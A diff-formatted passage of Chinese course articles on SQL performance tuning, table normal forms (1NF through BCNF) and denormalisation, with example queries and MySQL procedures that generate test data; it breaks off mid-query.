<audio id="audio" title="20丨当我们思考数据库调优的时候,都有哪些维度可以选择?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/55/ec/55d54688c3f64ce3ad39fdd774df65ec.mp3"></audio>
|
||||
|
||||
从这一篇开始,我们正式进入了SQL性能优化篇。在这一模块中,我们会关注如何提升SQL查询的效率。你可以思考一下,如何你是一名DBA或者开发人员,都有哪些维度可以进行数据库调优?
|
||||
|
||||
其实关于数据库调优的知识点非常分散。不同的DBMS,不同的公司,不同的职位,不同的项目遇到的问题都不尽相同。为了能让你对数据库调优有一个整体的概览,我把这些知识点做了一个梳理,希望能对你有一些帮助。
|
||||
|
||||
今天的课程你需要掌握以下几个方面的内容:
|
||||
|
||||
1. 数据库调优的目标是什么?
|
||||
1. 如果要进行调优,都有哪些维度可以选择?
|
||||
1. 如何思考和分析数据库调优这件事?
|
||||
|
||||
## 数据库调优的目标
|
||||
|
||||
简单来说,数据库调优的目的就是要让数据库运行得更快,也就是说响应的时间更快,吞吐量更大。
|
||||
|
||||
不过随着用户量的不断增加,以及应用程序复杂度的提升,我们很难用“更快”去定义数据库调优的目标,因为用户在不同时间段访问服务器遇到的瓶颈不同,比如双十一促销的时候会带来大规模的并发访问;还有用户在进行不同业务操作的时候,数据库的事务处理和SQL查询都会有所不同。因此我们还需要更加精细的定位,去确定调优的目标。
|
||||
|
||||
如何确定呢?一般情况下,有两种方式可以得到反馈。
|
||||
|
||||
### 用户的反馈
|
||||
|
||||
用户是我们的服务对象,因此他们的反馈是最直接的。虽然他们不会直接提出技术建议,但是有些问题往往是用户第一时间发现的。我们要重视用户的反馈,找到和数据相关的问题。
|
||||
|
||||
### 日志分析
|
||||
|
||||
我们可以通过查看数据库日志和操作系统日志等方式找出异常情况,通过它们来定位遇到的问题。
|
||||
|
||||
除了这些具体的反馈以外,我们还可以通过监控运行状态来整体了解服务器和数据库的运行情况。
|
||||
|
||||
### 服务器资源使用监控
|
||||
|
||||
通过监控服务器的CPU、内存、I/O等使用情况,可以实时了解服务器的性能使用,与历史情况进行对比。
|
||||
|
||||
### 数据库内部状况监控
|
||||
|
||||
在数据库的监控中,活动会话(Active Session)监控是一个重要的指标。通过它,你可以清楚地了解数据库当前是否处于非常繁忙的状态,是否存在SQL堆积等。
|
||||
|
||||
除了活动会话监控以外,我们也可以对事务、锁等待等进行监控,这些都可以帮助我们对数据库的运行状态有更全面的认识。
|
||||
|
||||
## 对数据库进行调优,都有哪些维度可以进行选择?
|
||||
|
||||
我们需要调优的对象是整个数据库管理系统,它不仅包括SQL查询,还包括数据库的部署配置、架构等。从这个角度来说,我们思考的维度就不仅仅局限在SQL优化上了。
|
||||
|
||||
听起来比较复杂,但其实我们可以一步步通过下面的步骤进行梳理。
|
||||
|
||||
### 第一步,选择适合的DBMS
|
||||
|
||||
我们之前讲到了SQL阵营和NoSQL阵营。在RDBMS中,常用的有Oracle,SQL Server和MySQL等。如果对事务性处理以及安全性要求高的话,可以选择商业的数据库产品。这些数据库在事务处理和查询性能上都比较强,比如采用SQL Server,那么单表存储上亿条数据是没有问题的。如果数据表设计得好,即使不采用分库分表的方式,查询效率也不差。
|
||||
|
||||
除此以外,你也可以采用开源的MySQL进行存储,我们之前讲到过,它有很多存储引擎可以选择,如果进行事务处理的话可以选择InnoDB,非事务处理可以选择MyISAM。
|
||||
|
||||
NoSQL阵营包括键值型数据库、文档型数据库、搜索引擎、列式存储和图形数据库。这些数据库的优缺点和使用场景各有不同,比如列式存储数据库可以大幅度降低系统的I/O,适合于分布式文件系统和OLAP,但如果数据需要频繁地增删改,那么列式存储就不太适用了。原因我在答疑篇已经讲过,这里不再赘述。
|
||||
|
||||
DBMS的选择关系到了后面的整个设计过程,所以第一步就是要选择适合的DBMS。如果已经确定好了DBMS,那么这步可以跳过,但有时候我们要根据业务需求来进行选择。
|
||||
|
||||
### 第二步,优化表设计
|
||||
|
||||
选择了DBMS之后,我们就需要进行表设计了。RDBMS中,每个对象都可以定义为一张表,表与表之间的关系代表了对象之间的关系。如果用的是MySQL,我们还可以根据不同表的使用需求,选择不同的存储引擎。除此以外,还有一些优化的原则可以参考:
|
||||
|
||||
1. 表结构要尽量遵循第三范式的原则(关于第三范式,我在后面章节会讲)。这样可以让数据结构更加清晰规范,减少冗余字段,同时也减少了在更新,插入和删除数据时等异常情况的发生。
|
||||
1. 如果分析查询应用比较多,尤其是需要进行多表联查的时候,可以采用反范式进行优化。反范式采用空间换时间的方式,通过增加冗余字段提高查询的效率。
|
||||
1. 表字段的数据类型选择,关系到了查询效率的高低以及存储空间的大小。一般来说,如果字段可以采用数值类型就不要采用字符类型;字符长度要尽可能设计得短一些。针对字符类型来说,当确定字符长度固定时,就可以采用CHAR类型;当长度不固定时,通常采用VARCHAR类型。
|
||||
|
||||
数据表的结构设计很基础,也很关键。好的表结构可以在业务发展和用户量增加的情况下依然发挥作用,不好的表结构设计会让数据表变得非常臃肿,查询效率也会降低。
|
||||
|
||||
### 第三步,优化逻辑查询
|
||||
|
||||
当我们建立好数据表之后,就可以对数据表进行增删改查的操作了。这时我们首先需要考虑的是逻辑查询优化,什么是逻辑查询优化呢?
|
||||
|
||||
SQL查询优化,可以分为逻辑查询优化和物理查询优化。逻辑查询优化就是通过改变SQL语句的内容让SQL执行效率更高效,采用的方式是对SQL语句进行等价变换,对查询进行重写。重写查询的数学基础就是关系代数。
|
||||
|
||||
SQL的查询重写包括了子查询优化、等价谓词重写、视图重写、条件简化、连接消除和嵌套连接消除等。
|
||||
|
||||
比如我们在讲解EXISTS子查询和IN子查询的时候,会根据小表驱动大表的原则选择适合的子查询。在WHERE子句中会尽量避免对字段进行函数运算,它们会让字段的索引失效。
|
||||
|
||||
我举一个例子,假设我想对商品评论表中的评论内容进行检索,查询评论内容开头为abc的内容都有哪些,如果在WHERE子句中使用了函数,语句就会写成下面这样:
|
||||
|
||||
```
|
||||
SELECT comment_id, comment_text, comment_time FROM product_comment WHERE SUBSTRING(comment_text, 1,3)='abc'
|
||||
|
||||
```
|
||||
|
||||
我们可以采用查询重写的方式进行等价替换:
|
||||
|
||||
```
|
||||
SELECT comment_id, comment_text, comment_time FROM product_comment WHERE comment_text LIKE 'abc%'
|
||||
|
||||
```
|
||||
|
||||
你会发现在数据量大的情况下,第二条SQL语句的查询效率要比前面的高很多,执行时间为前者的1/10。
|
||||
|
||||
### 第四步,优化物理查询
|
||||
|
||||
物理查询优化是将逻辑查询的内容变成可以被执行的物理操作符,从而为后续执行器的执行提供准备。它的核心是高效地建立索引,并通过这些索引来做各种优化。
|
||||
|
||||
但你要知道索引不是万能的,我们需要根据实际情况来创建索引。那么都有哪些情况需要考虑呢?
|
||||
|
||||
1. 如果数据重复度高,就不需要创建索引。通常在重复度超过10%的情况下,可以不创建这个字段的索引。比如性别这个字段(取值为男和女)。
|
||||
1. 要注意索引列的位置对索引使用的影响。比如我们在WHERE子句中对索引字段进行了表达式的计算,会造成这个字段的索引失效。
|
||||
1. 要注意联合索引对索引使用的影响。我们在创建联合索引的时候会对多个字段创建索引,这时索引的顺序就很重要了。比如我们对字段x, y, z创建了索引,那么顺序是(x,y,z)还是(z,y,x),在执行的时候就会存在差别。
|
||||
1. 要注意多个索引对索引使用的影响。索引不是越多越好,因为每个索引都需要存储空间,索引多也就意味着需要更多的存储空间。此外,过多的索引也会导致优化器在进行评估的时候增加了筛选出索引的计算时间,影响评估的效率。
|
||||
|
||||
查询优化器在对SQL语句进行等价变换之后,还需要根据数据表的索引情况和数据情况确定访问路径,这就决定了执行SQL时所需要消耗的资源。SQL查询时需要对不同的数据表进行查询,因此在物理查询优化阶段也需要确定这些查询所采用的路径,具体的情况包括:
|
||||
|
||||
1. 单表扫描:对于单表扫描来说,我们可以全表扫描所有的数据,也可以局部扫描。
|
||||
1. 两张表的连接:常用的连接方式包括了嵌套循环连接、HASH连接和合并连接。
|
||||
1. 多张表的连接:多张数据表进行连接的时候,顺序很重要,因为不同的连接路径查询的效率不同,搜索空间也会不同。我们在进行多表连接的时候,搜索空间可能会达到很高的数据量级,巨大的搜索空间显然会占用更多的资源,因此我们需要通过调整连接顺序,将搜索空间调整在一个可接收的范围内。
|
||||
|
||||
物理查询优化是在确定了逻辑查询优化之后,采用物理优化技术(比如索引等),通过计算代价模型对各种可能的访问路径进行估算,从而找到执行方式中代价最小的作为执行计划。在这个部分中,我们需要掌握的重点是对索引的创建和使用。
|
||||
|
||||
### 第五步,使用Redis或Memcached作为缓存
|
||||
|
||||
除了可以对SQL本身进行优化以外,我们还可以请外援提升查询的效率。
|
||||
|
||||
因为数据都是存放到数据库中,我们需要从数据库层中取出数据放到内存中进行业务逻辑的操作,当用户量增大的时候,如果频繁地进行数据查询,会消耗数据库的很多资源。如果我们将常用的数据直接放到内存中,就会大幅提升查询的效率。
|
||||
|
||||
键值存储数据库可以帮我们解决这个问题。
|
||||
|
||||
常用的键值存储数据库有Redis和Memcached,它们都可以将数据存放到内存中。
|
||||
|
||||
从可靠性来说,Redis支持持久化,可以让我们的数据保存在硬盘上,不过这样一来性能消耗也会比较大。而Memcached仅仅是内存存储,不支持持久化。
|
||||
|
||||
从支持的数据类型来说,Redis比Memcached要多,它不仅支持key-value类型的数据,还支持List,Set,Hash等数据结构。 当我们有持久化需求或者是更高级的数据处理需求的时候,就可以使用Redis。如果是简单的key-value存储,则可以使用Memcached。
|
||||
|
||||
通常我们对于查询响应要求高的场景(响应时间短,吞吐量大),可以考虑内存数据库,毕竟术业有专攻。传统的RDBMS都是将数据存储在硬盘上,而内存数据库则存放在内存中,查询起来要快得多。不过使用不同的工具,也增加了开发人员的使用成本。
|
||||
|
||||
### 第六步,库级优化
|
||||
|
||||
库级优化是站在数据库的维度上进行的优化策略,比如控制一个库中的数据表数量。另外我们可以采用主从架构优化我们的读写策略。
|
||||
|
||||
如果读和写的业务量都很大,并且它们都在同一个数据库服务器中进行操作,那么数据库的性能就会出现瓶颈,这时为了提升系统的性能,优化用户体验,我们可以采用读写分离的方式降低主数据库的负载,比如用主数据库(master)完成写操作,用从数据库(slave)完成读操作。
|
||||
|
||||
除此以外,我们还可以对数据库分库分表。当数据量级达到亿级以上时,有时候我们需要把一个数据库切成多份,放到不同的数据库服务器上,减少对单一数据库服务器的访问压力。如果你使用的是MySQL,就可以使用MySQL自带的分区表功能,当然你也可以考虑自己做垂直切分和水平切分。
|
||||
|
||||
什么情况下做垂直切分,什么情况下做水平切分呢?
|
||||
|
||||
如果数据库中的数据表过多,可以采用垂直分库的方式,将关联的数据表部署在一个数据库上。
|
||||
|
||||
如果数据表中的列过多,可以采用垂直分表的方式,将数据表分拆成多张,把经常一起使用的列放到同一张表里。
|
||||
|
||||
如果数据表中的数据达到了亿级以上,可以考虑水平切分,将大的数据表分拆成不同的子表,每张表保持相同的表结构。比如你可以按照年份来划分,把不同年份的数据放到不同的数据表中。2017年、2018年和2019年的数据就可以分别放到三张数据表中。
|
||||
|
||||
采用垂直分表的形式,就是将一张数据表分拆成多张表,采用水平拆分的方式,就是将单张数据量大的表按照某个属性维度分成不同的小表。
|
||||
|
||||
但需要注意的是,分拆在提升数据库性能的同时,也会增加维护和使用成本。
|
||||
|
||||
## 我们该如何思考和分析数据库调优这件事
|
||||
|
||||
做任何事情之前,我们都需要确认目标。在数据库调优中,我们的目标就是响应时间更快,吞吐量更大。利用宏观的监控工具和微观的日志分析可以帮我们快速找到调优的思路和方式。
|
||||
|
||||
虽然每个人的情况都不一样,但我们同样需要对数据库调优这件事有一个整体的认知。在思考数据库调优的时候,可以从三个维度进行考虑。
|
||||
|
||||
**首先,选择比努力更重要。**
|
||||
|
||||
在进行SQL调优之前,可以先选择DBMS和数据表的设计方式。你能看到,不同的DBMS直接决定了后面的操作方式,数据表的设计方式也直接影响了后续的SQL查询语句。
|
||||
|
||||
**另外,你可以把SQL查询优化分成两个部分,逻辑查询优化和物理查询优化。**
|
||||
|
||||
虽然SQL查询优化的技术有很多,但是大方向上完全可以分成逻辑查询优化和物理查询优化两大块。逻辑查询优化就是通过SQL等价变换提升查询效率,直白一点就是说,换一种查询写法执行效率可能更高。物理查询优化则是通过索引和表连接方式等技术来进行优化,这里重点需要掌握索引的使用。
|
||||
|
||||
**最后,我们可以通过外援来增强数据库的性能。**
|
||||
|
||||
单一的数据库总会遇到各种限制,不如取长补短,利用外援的方式。
|
||||
|
||||
另外通过对数据库进行垂直或者水平切分,突破单一数据库或数据表的访问限制,提升查询的性能。
|
||||
|
||||
本篇文章中涉及到的概念和知识点比较多,也有可能出现纰漏,不过没有关系,我会在在后续的文章中陆续进行讲解。希望这篇文章可以让你站在一个宏观的角度对数据库的调优有系统性的认知,对今后的工作有一些启发。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/d3/b0/d3bc10314c3532f053304a00765183b0.jpg" alt=""><br>
|
||||
你不妨说一下,在日常的工作中你是如何发现数据库性能瓶颈的?又是怎么解决这个问题的?另外我在文章中从6个维度阐述了如何对数据库进行调优,前两个维度在于选择,中间两个维度在于SQL的查询优化,后两个维度在于外援技术。你可以说一说你对这些维度的理解吗?
|
||||
|
||||
欢迎你在评论区分享你的心得,也欢迎把这篇文章分享给你的朋友或者同事。
|
||||
113
极客时间专栏/geek/SQL必知必会/第二章:SQL性能优化篇/21丨范式设计:数据表的范式有哪些,3NF指的是什么?.md
Normal file
113
极客时间专栏/geek/SQL必知必会/第二章:SQL性能优化篇/21丨范式设计:数据表的范式有哪些,3NF指的是什么?.md
Normal file
@@ -0,0 +1,113 @@
|
||||
<audio id="audio" title="21丨范式设计:数据表的范式有哪些,3NF指的是什么?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/d7/96/d7e62e9125d028405ee15ce3f8a12796.mp3"></audio>
|
||||
|
||||
在日常工作中,我们都需要遵守一定的规范,比如签到打卡、审批流程等,这些规范虽然有一定的约束感,却是非常有必要的,这样可以保证正确性和严谨性,但有些情况下,约束反而会带来效率的下降,比如一个可以直接操作的任务,却需要通过重重审批才能执行。
|
||||
|
||||
实际上,数据表的设计和工作流程的设计很像,我们既需要规范性,也要考虑到执行时的方便性。
|
||||
|
||||
今天,我来讲解一下数据表的设计范式。范式是数据表设计的基本原则,又很容易被忽略。很多时候,当数据库运行了一段时间之后,我们才发现数据表设计得有问题。重新调整数据表的结构,就需要做数据迁移,还有可能影响程序的业务逻辑,以及网站正常的访问。所以在开始设置数据库的时候,我们就需要重视数据表的设计。
|
||||
|
||||
今天的课程你需要掌握以下几个方面的内容:
|
||||
|
||||
1. 数据库的设计范式都有哪些?
|
||||
1. 数据表的键都有哪些?
|
||||
1. 1NF、2NF和3NF指的是什么?
|
||||
|
||||
## 数据库的设计范式都包括哪些
|
||||
|
||||
我们在设计关系型数据库模型的时候,需要对关系内部各个属性之间联系的合理化程度进行定义,这就有了不同等级的规范要求,这些规范要求被称为范式(NF)。你可以把范式理解为,一张数据表的设计结构需要满足的某种设计标准的级别。
|
||||
|
||||
目前关系型数据库一共有6种范式,按照范式级别,从低到高分别是:1NF(第一范式)、2NF(第二范式)、3NF(第三范式)、BCNF(巴斯-科德范式)、4NF(第四范式)和5NF(第五范式,又叫做完美范式)。
|
||||
|
||||
数据库的范式设计越高阶,冗余度就越低,同时高阶的范式一定符合低阶范式的要求,比如满足2NF的一定满足1NF,满足3NF的一定满足2NF,依次类推。
|
||||
|
||||
你可能会问,这么多范式是不是都要掌握呢?
|
||||
|
||||
一般来说数据表的设计应尽量满足3NF。但也不绝对,有时候为了提高某些查询性能,我们还需要破坏范式规则,也就是反规范化。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/42/9b/4299e5030169710d5b1d29fd0729879b.jpg" alt="">
|
||||
|
||||
## 数据表中的那些键
|
||||
|
||||
范式的定义会使用到主键和候选键(因为主键和候选键可以唯一标识元组),数据库中的键(Key)由一个或者多个属性组成。我总结了下数据表中常用的几种键和属性的定义:
|
||||
|
||||
- 超键:能唯一标识元组的属性集叫做超键。
|
||||
- 候选键:如果超键不包括多余的属性,那么这个超键就是候选键。
|
||||
- 主键:用户可以从候选键中选择一个作为主键。
|
||||
- 外键:如果数据表R1中的某属性集不是R1的主键,而是另一个数据表R2的主键,那么这个属性集就是数据表R1的外键。
|
||||
- 主属性:包含在任一候选键中的属性称为主属性。
|
||||
- 非主属性:与主属性相对,指的是不包含在任何一个候选键中的属性。
|
||||
|
||||
通常,我们也将候选键称之为“码”,把主键也称为“主码”。因为键可能是由多个属性组成的,针对单个属性,我们还可以用主属性和非主属性来进行区分。
|
||||
|
||||
看到上面的描述你可能还是有点懵,我举个简单的例子。
|
||||
|
||||
我们之前用过NBA的球员表(player)和球队表(team)。这里我可以把球员表定义为包含球员编号、姓名、身份证号、年龄和球队编号;球队表包含球队编号、主教练和球队所在地。
|
||||
|
||||
对于球员表来说,超键就是包括球员编号或者身份证号的任意组合,比如(球员编号)(球员编号,姓名)(身份证号,年龄)等。
|
||||
|
||||
候选键就是最小的超键,对于球员表来说,候选键就是(球员编号)或者(身份证号)。
|
||||
|
||||
主键是我们自己选定,也就是从候选键中选择一个,比如(球员编号)。
|
||||
|
||||
外键就是球员表中的球队编号。
|
||||
|
||||
在player表中,主属性是(球员编号)(身份证号),其他的属性(姓名)(年龄)(球队编号)都是非主属性。
|
||||
|
||||
## 从1NF到3NF
|
||||
|
||||
了解了数据表中的4种键之后,我们再来看下1NF、2NF和3NF,BCNF我们放在后面讲。
|
||||
|
||||
**1NF指的是数据库表中的任何属性都是原子性的,不可再分**。这很好理解,我们在设计某个字段的时候,对于字段X来说,就不能把字段X拆分成字段X-1和字段X-2。事实上,任何的DBMS都会满足第一范式的要求,不会将字段进行拆分。
|
||||
|
||||
**2NF指的数据表里的非主属性都要和这个数据表的候选键有完全依赖关系**。所谓完全依赖不同于部分依赖,也就是不能仅依赖候选键的一部分属性,而必须依赖全部属性。
|
||||
|
||||
这里我举一个没有满足2NF的例子,比如说我们设计一张球员比赛表player_game,里面包含球员编号、姓名、年龄、比赛编号、比赛时间和比赛场地等属性,这里候选键和主键都为(球员编号,比赛编号),我们可以通过候选键来决定如下的关系:
|
||||
|
||||
(球员编号, 比赛编号) → (姓名, 年龄, 比赛时间, 比赛场地,得分)
|
||||
|
||||
上面这个关系说明球员编号和比赛编号的组合决定了球员的姓名、年龄、比赛时间、比赛地点和该比赛的得分数据。
|
||||
|
||||
但是这个数据表不满足第二范式,因为数据表中的字段之间还存在着如下的对应关系:
|
||||
|
||||
(球员编号) → (姓名,年龄)
|
||||
|
||||
(比赛编号) → (比赛时间, 比赛场地)
|
||||
|
||||
也就是说候选键中的某个字段决定了非主属性。你也可以理解为,对于非主属性来说,并非完全依赖候选键。这样会产生怎样的问题呢?
|
||||
|
||||
1. 数据冗余:如果一个球员可以参加m场比赛,那么球员的姓名和年龄就重复了m-1次。一个比赛也可能会有n个球员参加,比赛的时间和地点就重复了n-1次。
|
||||
1. 插入异常:如果我们想要添加一场新的比赛,但是这时还没有确定参加的球员都有谁,那么就没法插入。
|
||||
1. 删除异常:如果我要删除某个球员编号,如果没有单独保存比赛表的话,就会同时把比赛信息删除掉。
|
||||
1. 更新异常:如果我们调整了某个比赛的时间,那么数据表中所有这个比赛的时间都需要进行调整,否则就会出现一场比赛时间不同的情况。
|
||||
|
||||
为了避免出现上述的情况,我们可以把球员比赛表设计为下面的三张表。
|
||||
|
||||
球员player表包含球员编号、姓名和年龄等属性;比赛game表包含比赛编号、比赛时间和比赛场地等属性;球员比赛关系player_game表包含球员编号、比赛编号和得分等属性。
|
||||
|
||||
这样的话,每张数据表都符合第二范式,也就避免了异常情况的发生。某种程度上2NF是对1NF原子性的升级。1NF告诉我们字段属性需要是原子性的,而2NF告诉我们一张表就是一个独立的对象,也就是说一张表只表达一个意思。
|
||||
|
||||
**3NF在满足2NF的同时,对任何非主属性都不传递依赖于候选键**。也就是说不能存在非主属性 A 依赖于非主属性 B,非主属性 B 依赖于候选键的情况。
|
||||
|
||||
我们用球员player表举例子,这张表包含的属性包括球员编号、姓名、球队名称和球队主教练。现在,我们把属性之间的依赖关系画出来,如下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/42/33/4286e4c955589ab7145ee36ab135b933.jpg" alt=""><br>
|
||||
你能看到球员编号决定了球队名称,同时球队名称决定了球队主教练,非主属性球队主教练就会传递依赖于球员编号,因此不符合3NF的要求。
|
||||
|
||||
如果要达到3NF的要求,需要把数据表拆成下面这样:
|
||||
|
||||
球员表的属性包括球员编号、姓名和球队名称;球队表的属性包括球队名称、球队主教练。
|
||||
|
||||
我再总结一下,1NF需要保证表中每个属性都保持原子性;2NF需要保证表中的非主属性与候选键完全依赖;3NF需要保证表中的非主属性与候选键不存在传递依赖。
|
||||
|
||||
## 总结
|
||||
|
||||
我们今天讲解了数据表设计的三种范式。关系型数据库的设计都是基于关系模型的,在关系模型中存在着4种键,这些键的核心作用就是标识。
|
||||
|
||||
在这些概念的基础上,我又讲了1NF,2NF和3NF。我们经常会与这三种范式打交道,利用它们建立冗余度小、结构合理的数据库。
|
||||
|
||||
有一点需要注意的是,这些范式只是提出了设计的标准,实际上设计数据表时,未必要符合这些原则。一方面是因为这些范式本身存在一些问题,可能会带来插入,更新,删除等的异常情况(这些会在下一讲举例说明),另一方面,它们也可能降低会查询的效率。这是为什么呢?因为范式等级越高,设计出来的数据表就越多,进行数据查询的时候就可能需要关联多张表,从而影响查询效率。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/e7/11/e775113e733020a7810196afd4f58711.jpg" alt=""><br>
|
||||
2NF和3NF相对容易混淆,根据今天的内容,你能说下这两个范式之间的区别吗?另外,如果我们现在有一张学生选课表,包含的属性有学号、姓名、课程名称、分数、系别和系主任,如果要改成符合3NF要求的设计,需要怎么修改呢?
|
||||
|
||||
欢迎你在评论区写下你的答案,也欢迎把这篇文章分享给你的朋友或者同事,一起来交流。
|
||||
@@ -0,0 +1,200 @@
|
||||
<audio id="audio" title="22丨反范式设计:3NF有什么不足,为什么有时候需要反范式设计?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/e0/4f/e03c1e077cc21e8e723c2bf04bdf754f.mp3"></audio>
|
||||
|
||||
上一篇文章中,我们介绍了数据表设计的三种范式。作为数据库的设计人员,理解范式的设计以及反范式优化是非常有必要的。
|
||||
|
||||
为什么这么说呢?了解以下几个方面的内容之后你就明白了。
|
||||
|
||||
1. 3NF有什么不足?除了3NF,我们为什么还需要BCNF?
|
||||
1. 有了范式设计,为什么有时候需要进行反范式设计?
|
||||
1. 反范式设计适用的场景是什么?又可能存在哪些问题?
|
||||
|
||||
## BCNF(巴斯范式)
|
||||
|
||||
如果数据表的关系模式符合3NF的要求,就不存在问题了吗?我们来看下这张仓库管理关系warehouse_keeper表:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/8b/17/8b543855d7c005b3e1b0ee3fbb308b17.png" alt=""><br>
|
||||
在这个数据表中,一个仓库只有一个管理员,同时一个管理员也只管理一个仓库。我们先来梳理下这些属性之间的依赖关系。
|
||||
|
||||
仓库名决定了管理员,管理员也决定了仓库名,同时(仓库名,物品名)的属性集合可以决定数量这个属性。
|
||||
|
||||
这样,我们就可以找到数据表的候选键是(管理员,物品名)和(仓库名,物品名),
|
||||
|
||||
然后我们从候选键中选择一个作为主键,比如(仓库名,物品名)。
|
||||
|
||||
在这里,主属性是包含在任一候选键中的属性,也就是仓库名,管理员和物品名。非主属性是数量这个属性。
|
||||
|
||||
如何判断一张表的范式呢?我们需要根据范式的等级,从低到高来进行判断。
|
||||
|
||||
首先,数据表每个属性都是原子性的,符合1NF的要求;其次,数据表中非主属性”数量“都与候选键全部依赖,(仓库名,物品名)决定数量,(管理员,物品名)决定数量,因此,数据表符合2NF的要求;最后,数据表中的非主属性,不传递依赖于候选键。因此符合3NF的要求。
|
||||
|
||||
既然数据表已经符合了3NF的要求,是不是就不存在问题了呢?我们来看下下面的情况:
|
||||
|
||||
1. 增加一个仓库,但是还没有存放任何物品。根据数据表实体完整性的要求,主键不能有空值,因此会出现插入异常;
|
||||
1. 如果仓库更换了管理员,我们就可能会修改数据表中的多条记录;
|
||||
1. 如果仓库里的商品都卖空了,那么此时仓库名称和相应的管理员名称也会随之被删除。
|
||||
|
||||
你能看到,即便数据表符合3NF的要求,同样可能存在插入,更新和删除数据的异常情况。
|
||||
|
||||
这种情况下该怎么解决呢?
|
||||
|
||||
首先我们需要确认造成异常的原因:主属性仓库名对于候选键(管理员,物品名)是部分依赖的关系,这样就有可能导致上面的异常情况。人们在3NF的基础上进行了改进,提出了**BCNF,也叫做巴斯-科德范式,它在3NF的基础上消除了主属性对候选键的部分依赖或者传递依赖关系**。
|
||||
|
||||
根据BCNF的要求,我们需要把仓库管理关系warehouse_keeper表拆分成下面这样:
|
||||
|
||||
仓库表:(仓库名,管理员)
|
||||
|
||||
库存表:(仓库名,物品名,数量)
|
||||
|
||||
这样就不存在主属性对于候选键的部分依赖或传递依赖,上面数据表的设计就符合BCNF。
|
||||
|
||||
## 反范式设计
|
||||
|
||||
尽管围绕着数据表的设计有很多范式,但事实上,我们在设计数据表的时候却不一定要参照这些标准。
|
||||
|
||||
我们在之前已经了解了越高阶的范式得到的数据表越多,数据冗余度越低。但有时候,我们在设计数据表的时候,还需要为了性能和读取效率违反范式化的原则。反范式就是相对范式化而言的,换句话说,就是允许少量的冗余,通过空间来换时间。
|
||||
|
||||
如果我们想对查询效率进行优化,有时候反范式优化也是一种优化思路。
|
||||
|
||||
比如我们想要查询某个商品的前1000条评论,会涉及到两张表。
|
||||
|
||||
商品评论表product_comment,对应的字段名称及含义如下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/4c/b1/4c08f4fe07414ef26a48c1c0c52590b1.png" alt="">
|
||||
|
||||
用户表user,对应的字段名称及含义如下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/7d/f2/7daa1d6b0f5b42cd79e024d49ecf91f2.png" alt=""><br>
|
||||
下面,我们就用这两张表模拟一下反范式优化。
|
||||
|
||||
## 实验数据:模拟两张百万量级的数据表
|
||||
|
||||
为了更好地进行SQL优化实验,我们需要给用户表和商品评论表随机模拟出百万量级的数据。我们可以通过存储过程来实现模拟数据。
|
||||
|
||||
下面是给用户表随机生成100万用户的代码:
|
||||
|
||||
```
|
||||
CREATE DEFINER=`root`@`localhost` PROCEDURE `insert_many_user`(IN start INT(10), IN max_num INT(10))
|
||||
BEGIN
|
||||
DECLARE i INT DEFAULT 0;
|
||||
DECLARE date_start DATETIME DEFAULT ('2017-01-01 00:00:00');
|
||||
DECLARE date_temp DATETIME;
|
||||
SET date_temp = date_start;
|
||||
SET autocommit=0;
|
||||
REPEAT
|
||||
SET i=i+1;
|
||||
SET date_temp = date_add(date_temp, interval RAND()*60 second);
|
||||
INSERT INTO user(user_id, user_name, create_time)
|
||||
VALUES((start+i), CONCAT('user_',i), date_temp);
|
||||
UNTIL i = max_num
|
||||
END REPEAT;
|
||||
COMMIT;
|
||||
END
|
||||
|
||||
```
|
||||
|
||||
我用date_start变量来定义初始的注册时间,时间为2017年1月1日0点0分0秒,然后用date_temp变量计算每个用户的注册时间,新的注册用户与上一个用户注册的时间间隔为60秒内的随机值。然后使用REPEAT … UNTIL … END REPEAT循环,对max_num个用户的数据进行计算。在循环前,我们将autocommit设置为0,这样等计算完成再统一插入,执行效率更高。
|
||||
|
||||
然后我们来运行call insert_many_user(10000, 1000000);调用存储过程。这里需要通过start和max_num两个参数对初始的user_id和要创建的用户数量进行设置。运行结果:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/e7/36/e716bfa9153fea2c4bc524946796a036.png" alt=""><br>
|
||||
你能看到在MySQL里,创建100万的用户数据用时1分37秒。
|
||||
|
||||
接着我们再来给商品评论表product_comment随机生成100万条商品评论。这里我们设置为给某一款商品评论,比如product_id=10001。评论的内容为随机的20个字母。以下是创建随机的100万条商品评论的存储过程:
|
||||
|
||||
```
|
||||
CREATE DEFINER=`root`@`localhost` PROCEDURE `insert_many_product_comments`(IN START INT(10), IN max_num INT(10))
|
||||
BEGIN
|
||||
DECLARE i INT DEFAULT 0;
|
||||
DECLARE date_start DATETIME DEFAULT ('2018-01-01 00:00:00');
|
||||
DECLARE date_temp DATETIME;
|
||||
DECLARE comment_text VARCHAR(25);
|
||||
DECLARE user_id INT;
|
||||
SET date_temp = date_start;
|
||||
SET autocommit=0;
|
||||
REPEAT
|
||||
SET i=i+1;
|
||||
SET date_temp = date_add(date_temp, INTERVAL RAND()*60 SECOND);
|
||||
SET comment_text = substr(MD5(RAND()),1, 20);
|
||||
SET user_id = FLOOR(RAND()*1000000);
|
||||
INSERT INTO product_comment(comment_id, product_id, comment_text, comment_time, user_id)
|
||||
VALUES((START+i), 10001, comment_text, date_temp, user_id);
|
||||
UNTIL i = max_num
|
||||
END REPEAT;
|
||||
COMMIT;
|
||||
END
|
||||
|
||||
```
|
||||
|
||||
同样的,我用date_start变量来定义初始的评论时间。这里新的评论时间与上一个评论的时间间隔还是60秒内的随机值,商品评论表中的user_id为随机值。我们使用REPEAT … UNTIL … END REPEAT循环,来对max_num个商品评论的数据进行计算。
|
||||
|
||||
然后调用存储过程,运行结果如下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/23/c1/2346454ce5be3e50e1419960b15b60c1.png" alt=""><br>
|
||||
MySQL一共花了2分7秒完成了商品评论数据的创建。
|
||||
|
||||
## 反范式优化实验对比
|
||||
|
||||
如果我们想要查询某个商品ID,比如10001的前1000条评论,需要写成下面这样:
|
||||
|
||||
```
|
||||
SELECT p.comment_text, p.comment_time, u.user_name FROM product_comment AS p
|
||||
LEFT JOIN user AS u
|
||||
